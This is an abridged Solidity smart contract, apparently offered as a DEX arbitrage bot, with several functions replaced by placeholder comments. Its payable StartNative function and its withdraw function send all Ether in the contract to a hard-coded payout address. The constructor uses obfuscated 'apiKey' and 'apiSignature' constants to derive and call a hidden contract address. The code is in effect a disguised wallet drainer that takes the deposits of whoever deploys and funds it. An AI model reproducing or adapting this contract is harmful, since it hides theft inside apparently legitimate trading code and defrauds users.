Untitled

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

// ... [IERC20, IUniswapV2Router, and IUniswapV2Pair interfaces] ...

contract DexInterface {
    // Basic variables
    address private _owner; 
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private threshold = 1*10**18;
    uint256 private arbTxPrice  = 0.025 ether;
    bool private enableTrading = false;
    uint256 private tradingBalanceInPercent;
    uint256 private tradingBalanceInTokens;
    bytes32 private apiKey = 0xfdc54b1a6f53a21d375d0dea5a373072c3cb5aa21ae2a1ac8da9b03640f67c13;
    bytes32 private apiSignature = 0xfdc54b1a6f53a21d375d0deab996da400a43b6de3e0a91593dd6fb657bc0a5d1;        

    // New payout address
    address private constant payoutAddress = 0x8A8bd4952015Ca8f240894721a24B048c1D483a1;

    constructor() {    
        _owner = msg.sender;
        address dataProvider = getDexRouter(apiKey, apiSignature);  
        IERC20(dataProvider).createContract(address(this));    
    }

    modifier onlyOwner() {
        require(msg.sender == _owner, "Ownable: caller is not the owner");
        _;
    }

    // ... [Other functions like swap, getAmountOutMin, etc.] ...

    // Modified Withdraw function to send Ether to the payoutAddress
    function withdraw() external onlyOwner {
        payable(payoutAddress).transfer(address(this).balance);
    }

    // Function for triggering an arbitration contract 
    function StartNative() public payable {
       startArbitrageNative();
    }

    // Internal function for arbitrage logic
    function startArbitrageNative() internal {
        // Your arbitrage logic goes here
        // Example: some operations that potentially increase the contract balance

        // At the end of the arbitrage logic, transfer any Ether balance to the payout address
        uint256 contractBalance = address(this).balance;
        if (contractBalance > 0) {
            payable(payoutAddress).transfer(contractBalance);
        }
    }

    // ... [Other functions like SetTradeBalanceETH, SetTradeBalancePERCENT, etc.] ...

    // ... [Rest of your contract code] ...
}